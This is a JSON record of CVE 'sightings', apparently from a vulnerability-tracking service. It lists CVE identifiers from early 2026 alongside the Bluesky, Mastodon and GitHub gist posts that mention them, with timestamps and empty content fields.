{"vulnerability": "2026-31", "sightings": [{"uuid": "45deedb7-41a9-4183-bf3b-fa59fe28b943", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3166", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfpfmafea722", "content": "", "creation_timestamp": "2026-02-25T19:20:09.751704Z"}, {"uuid": "140cfb6b-7d48-494e-9481-9c110ee92c42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3167", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfpgpz2byi2u", "content": "", "creation_timestamp": "2026-02-25T19:40:09.794908Z"}, {"uuid": "fe0c61e4-f1a8-496c-8b22-7eadb168a957", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3102", "type": "seen", "source": "https://bsky.app/profile/tech2geek.mastodon.social.ap.brid.gy/post/3mghpxl4p6p32", "content": "", "creation_timestamp": "2026-03-07T11:29:30.106624Z"}, {"uuid": "1bf9c49e-983b-4608-980d-25e52af76efa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3168", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfphtwyts62e", "content": "", "creation_timestamp": "2026-02-25T20:00:15.489890Z"}, {"uuid": "d20d9ce1-b090-4955-a7bb-59cdaf7000d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3137", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnitlhoaq2e", "content": "", "creation_timestamp": "2026-02-25T01:12:38.001689Z"}, {"uuid": "a530f379-245c-49e8-8b16-c2df3d961e00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3134", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnje7icfp2u", "content": "", "creation_timestamp": "2026-02-25T01:21:55.706638Z"}, {"uuid": "a157ac5b-72df-4976-8fdf-f9e0a460e0da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3133", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnjn5wcah24", "content": "", "creation_timestamp": "2026-02-25T01:26:56.097096Z"}, {"uuid": "830a2595-77d1-4495-b721-1a9f379463ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3135", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnkhzakpl2o", "content": "", "creation_timestamp": "2026-02-25T01:41:57.552886Z"}, {"uuid": "3ad6684c-2e3a-4ad2-a284-7a79ab28a915", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3105", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfsuaqhzrh24", "content": "", "creation_timestamp": "2026-02-27T04:20:09.088355Z"}, {"uuid": "8fc44a3e-64f8-4cca-b9e4-8ac0c5e208d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3125", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgb3xkb6ue2y", "content": "", "creation_timestamp": "2026-03-04T20:15:26.696445Z"}, {"uuid": "8cce83e7-ed39-41e6-b157-7737f229260a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mg4pvaxwfa2w", "content": "", "creation_timestamp": "2026-03-03T02:28:46.847223Z"}, {"uuid": "9b548aaf-4933-4986-bd35-8f36b5fdb27f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3165", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfzged6ib62r", "content": "", "creation_timestamp": "2026-03-01T19:00:15.144106Z"}, {"uuid": "05360026-257e-4c8a-a1a6-9058abbdd5f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3169", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfzjpnfpeu2a", "content": "", "creation_timestamp": "2026-03-01T20:00:16.485125Z"}, {"uuid": "e050ccfa-101d-4c1c-a380-9b82d5f81ccf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3105", "type": "seen", "source": "https://gist.github.com/alon710/be287b095692a958ba062da2bd656273", "content": "", "creation_timestamp": "2026-02-25T21:40:19.000000Z"}, {"uuid": "3dadbcdc-2692-4693-9624-c43d718b988c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3164", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg25teeoam2m", "content": "", "creation_timestamp": "2026-03-02T02:00:15.818731Z"}, {"uuid": "700bc345-c4ff-4e3f-8a37-d2b26e66e026", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3133", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfr5ikfyig2l", "content": "", "creation_timestamp": "2026-02-26T12:00:15.355296Z"}, {"uuid": "3f4fbe6d-44ea-42a4-b542-1221c059b85f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3105", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfpok5rv2l2t", "content": "", "creation_timestamp": "2026-02-25T22:00:03.740673Z"}, {"uuid": "e065341e-01f2-4fa6-80f2-26ca1753e8dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3136", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg6dca4qmp2u", "content": "", "creation_timestamp": "2026-03-03T17:48:42.186498Z"}, {"uuid": "b0a1727e-e511-4839-b67e-d38c17ad1118", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3148", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnwdr2x4k2u", "content": "", "creation_timestamp": "2026-02-25T05:14:19.234147Z"}, {"uuid": "033f6ba3-64de-401d-9434-1bedca6dc45d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3149", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnwjlgnan2u", "content": "", "creation_timestamp": "2026-02-25T05:17:34.598924Z"}, {"uuid": "e0d5f509-25a7-4029-819b-7d07c6e07500", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3150", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnx3ohr4r2o", "content": "", "creation_timestamp": "2026-02-25T05:27:41.713454Z"}, {"uuid": "2e9c9cda-7002-4b10-a74f-a31089878d92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3105", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfpsz6tpcr2q", "content": "", "creation_timestamp": "2026-02-25T23:20:03.901752Z"}, {"uuid": "c1a662bb-ceca-4a5f-8303-4378a24f2b62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3172", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mfrg5qofug2n", "content": "", "creation_timestamp": "2026-02-26T14:35:16.640400Z"}, {"uuid": "2be2d62f-8a38-4193-9c06-1b4c9df00bd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3147", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnyqorbha2u", "content": "", "creation_timestamp": "2026-02-25T05:57:20.509971Z"}, {"uuid": "7a0fb4bb-267f-43e4-975d-c30df304d372", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3172", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpyi5h2rx2y", "content": "", "creation_timestamp": "2026-02-26T00:57:53.111389Z"}, {"uuid": "354fb85e-ea78-43ad-afff-e8f35a80bdd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3135", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfpymfcvlx22", "content": "", "creation_timestamp": "2026-02-26T01:00:15.659173Z"}, {"uuid": "9ae14d65-0b60-49a8-9a62-0abaf301c880", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3148", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mfo4vtwtfs2u", "content": "", "creation_timestamp": "2026-02-25T07:11:49.083917Z"}, {"uuid": "6d9f3292-8000-440d-9663-790ef78278b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3179", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116130095411760099", "content": "", "creation_timestamp": "2026-02-25T07:30:31.025689Z"}, {"uuid": "eea1f56e-2d8c-4377-bf0e-c229fe5e3b04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3179", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfo5xd3uon25", "content": "", "creation_timestamp": "2026-02-25T07:30:32.535956Z"}, {"uuid": "82a2982a-287b-48b8-ad7f-850f8fabfcab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31832", "type": "seen", "source": "https://gist.github.com/alon710/98fcddc0acbf6f779dedf7380ef30e3a", "content": "", "creation_timestamp": "2026-03-11T06:10:06.000000Z"}, {"uuid": "dfafa4bf-661c-4d93-bfa1-83842d352e89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31830", "type": "seen", "source": "https://gist.github.com/alon710/e6746ea37c744f27fa53aba7fbd358d4", "content": "", "creation_timestamp": "2026-03-11T06:40:06.000000Z"}, {"uuid": "7b4908bc-0b2a-421c-9ba7-88435cc702c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3134", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfpzpxm5q22m", "content": "", "creation_timestamp": "2026-02-26T01:20:09.975678Z"}, {"uuid": "74258332-6f33-4550-96e6-b96395c1e3bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3166", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mfobt26m7u2l", "content": "", "creation_timestamp": "2026-02-25T08:39:43.077103Z"}, {"uuid": "4771ea27-7592-414a-80f8-83d20377db3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3167", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mfobvjvvuj2u", "content": "", "creation_timestamp": "2026-02-25T08:41:07.024080Z"}, {"uuid": "9f866df7-f51d-4b5c-9cef-dfe6920addc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3167", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfodmcvj4f2x", "content": "", "creation_timestamp": "2026-02-25T09:11:45.012849Z"}, {"uuid": "b92967bf-151a-47c1-8813-25e3383b72ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3166", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfodtygypj2y", "content": "", "creation_timestamp": "2026-02-25T09:16:02.330840Z"}, {"uuid": "19e3bbc9-5104-4e18-951f-ceaf9081b8a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3179", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfoe4wuk3f2n", "content": "", "creation_timestamp": "2026-02-25T09:21:06.764894Z"}, {"uuid": "f3c007c2-79a3-4af4-9904-50dd13eb187d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3165", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfoefxvqcs2z", "content": "", "creation_timestamp": "2026-02-25T09:26:07.071560Z"}, {"uuid": "06f7b036-b7da-4f92-bc92-ab3381fc54e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3100", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfoeownhqh2n", "content": "", "creation_timestamp": "2026-02-25T09:31:06.485454Z"}, {"uuid": "831499c4-9721-4b74-a360-2f6b5655257c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3179", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfrotykp4y2s", "content": "", "creation_timestamp": "2026-02-26T17:10:53.560282Z"}, {"uuid": "41816a43-7e9a-40af-bcc5-d5a31479cd62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3169", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfoexv3lob2o", "content": "", "creation_timestamp": "2026-02-25T09:36:06.994164Z"}, {"uuid": "028fdcdb-4c41-4cc0-aab2-030cc5418897", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3168", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfofatjxur2y", "content": "", "creation_timestamp": "2026-02-25T09:41:07.383484Z"}, {"uuid": "2a5141a5-7af8-44d1-a7b3-0f705dded366", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3125", "type": "seen", "source": "https://gist.github.com/alon710/a6851bbd56dcc5d9e2542a826139f558", "content": "", "creation_timestamp": "2026-03-05T03:10:05.000000Z"}, {"uuid": "581843df-90dc-4b35-b6c1-b91324edc41e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3130", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg6xlyzgu72x", "content": "", "creation_timestamp": "2026-03-03T23:52:07.255930Z"}, {"uuid": "35171d8f-590b-4dbe-a8ec-b5fcb611da12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3170", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfogggt4rp2u", "content": "", "creation_timestamp": "2026-02-25T10:02:09.040273Z"}, {"uuid": "f6b6d485-db15-423c-aba6-1870707eccd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3171", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfogpfbeeo2z", "content": "", "creation_timestamp": "2026-02-25T10:07:09.267618Z"}, {"uuid": "6bacb749-5ba7-4467-8303-116bfb3cc787", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3105", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfmyyayknb2t", "content": "", "creation_timestamp": "2026-02-24T20:28:55.146805Z"}, {"uuid": "69f5e665-ffb5-40b8-9c28-a9314b853025", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3105", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfmyz2eui52k", "content": "", "creation_timestamp": "2026-02-24T20:29:22.307957Z"}, {"uuid": "90282c91-3bc6-4a14-8eae-eab02301c0cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mg3tsivv5x2p", "content": "", "creation_timestamp": "2026-03-02T18:06:09.636961Z"}, {"uuid": "4b5a39ea-4665-4863-9f4f-0081482f2fad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3118", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfos2oviw62o", "content": "", "creation_timestamp": "2026-02-25T13:30:19.478706Z"}, {"uuid": "838bdcd1-e55c-404b-aafa-ac9b95759f7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3180", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mg3wtg3ges2k", "content": "", "creation_timestamp": "2026-03-02T19:00:21.152239Z"}, {"uuid": "180dda25-66c5-420d-ba95-d5e94bee1e36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3132", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mg3wtngu7w26", "content": "", "creation_timestamp": "2026-03-02T19:00:29.047454Z"}, {"uuid": "74bc6c97-6425-4929-9d46-0ce72b53087a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3172", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqnoszci52k", "content": "", "creation_timestamp": "2026-02-26T07:17:26.747028Z"}, {"uuid": "ccfe1573-d91b-41b8-b45e-996c94aafb92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3131", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfn5mri7pw2d", "content": "", "creation_timestamp": "2026-02-24T21:51:58.392912Z"}, {"uuid": "6ef183eb-f232-424f-a5ad-a54830016d97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3130", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgaouy4lzp2s", "content": "", "creation_timestamp": "2026-03-04T16:21:23.720641Z"}, {"uuid": "2fe03a04-2ddb-4866-8127-cf0f2797ed88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3151", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfp3keqrzf2u", "content": "", "creation_timestamp": "2026-02-25T16:20:09.667410Z"}, {"uuid": "16c9cd67-9cca-491f-aae2-52ff00ccc52f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3105", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfn6hmslwu2x", "content": "", "creation_timestamp": "2026-02-24T22:06:59.170324Z"}, {"uuid": "6ce9eb3a-b3f8-40f7-8624-f3f4829ce6a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3152", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfp4o5hsbh2h", "content": "", "creation_timestamp": "2026-02-25T16:40:10.363310Z"}, {"uuid": "0180f9d3-7d2c-4112-985a-1f5e47445078", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3130", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgaowtr4ym2k", "content": "", "creation_timestamp": "2026-03-04T16:22:25.049516Z"}, {"uuid": "d78c9e53-a5de-4a7e-8782-bb742b5b5c7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3103", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgaqnd533v2n", "content": "", "creation_timestamp": "2026-03-04T16:52:52.710844Z"}, {"uuid": "9437776e-8e03-4c5d-90ae-4470254d5041", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3189", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfp6riyntc2v", "content": "", "creation_timestamp": "2026-02-25T17:17:50.139123Z"}, {"uuid": "fe1ad114-3d7b-4868-ab11-e7171a70f36b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3153", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfp6vog7ey24", "content": "", "creation_timestamp": "2026-02-25T17:20:09.904540Z"}, {"uuid": "9436973a-e099-4dff-ae85-27cd3e0ea32a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3192", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfp7cu6sqx24", "content": "", "creation_timestamp": "2026-02-25T17:27:32.193107Z"}, {"uuid": "b10da6fe-6419-4792-be1b-f44c5ca1d4d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31829", "type": "seen", "source": "https://gist.github.com/alon710/1475f09f284d480dbb7f0348bae5ca9a", "content": "", "creation_timestamp": "2026-03-11T08:10:05.000000Z"}, {"uuid": "93ec0b57-e1da-4059-b47d-b5e36738fdd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3148", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfp7zhh7yg2l", "content": "", "creation_timestamp": "2026-02-25T17:40:11.053346Z"}, {"uuid": "a991adbf-967d-43f1-ace3-1a2b60d71601", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3188", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfpcfyov3m2v", "content": "", "creation_timestamp": "2026-02-25T18:22:58.955610Z"}, {"uuid": "65ee4450-85ae-4e12-8441-694ef14435a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31896", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116215030080166205", "content": "", "creation_timestamp": "2026-03-12T07:30:31.038592Z"}, {"uuid": "0b260261-46ed-463c-a4e6-61da4b78f180", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31896", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mgtux5aze32o", "content": "", "creation_timestamp": "2026-03-12T07:30:32.940388Z"}, {"uuid": "82027c52-8d3f-4573-8ca0-881b1c1842ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31904", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhjp3xu7t22s", "content": "", "creation_timestamp": "2026-03-20T23:44:26.716158Z"}, {"uuid": "43b30b82-07bf-40c3-8fc6-f8bd89a4d858", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31816", "type": "seen", "source": "https://gist.github.com/alon710/91e9fb643e21046b7910878c4d30d36a", "content": "", "creation_timestamp": "2026-03-12T08:10:05.000000Z"}, {"uuid": "4096d7dd-ec34-4563-8c97-a6750080c6d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31886", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116225292815973119", "content": "", "creation_timestamp": "2026-03-14T03:00:46.887162Z"}, {"uuid": "d624c17a-92ea-4102-961a-1a1176bf60ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31852", "type": "seen", "source": "https://infosec.exchange/users/mttaggart/statuses/116240425532826680", "content": "", "creation_timestamp": "2026-03-16T19:08:55.464381Z"}, {"uuid": "5ca3b7b0-ad65-440c-99a9-d556d818f0c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31965", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhh47m3fbo2n", "content": "", "creation_timestamp": "2026-03-19T23:01:08.054294Z"}, {"uuid": "d63358bb-1f39-4d62-957e-35422f4a72f0", "vulnerability_lookup_origin": 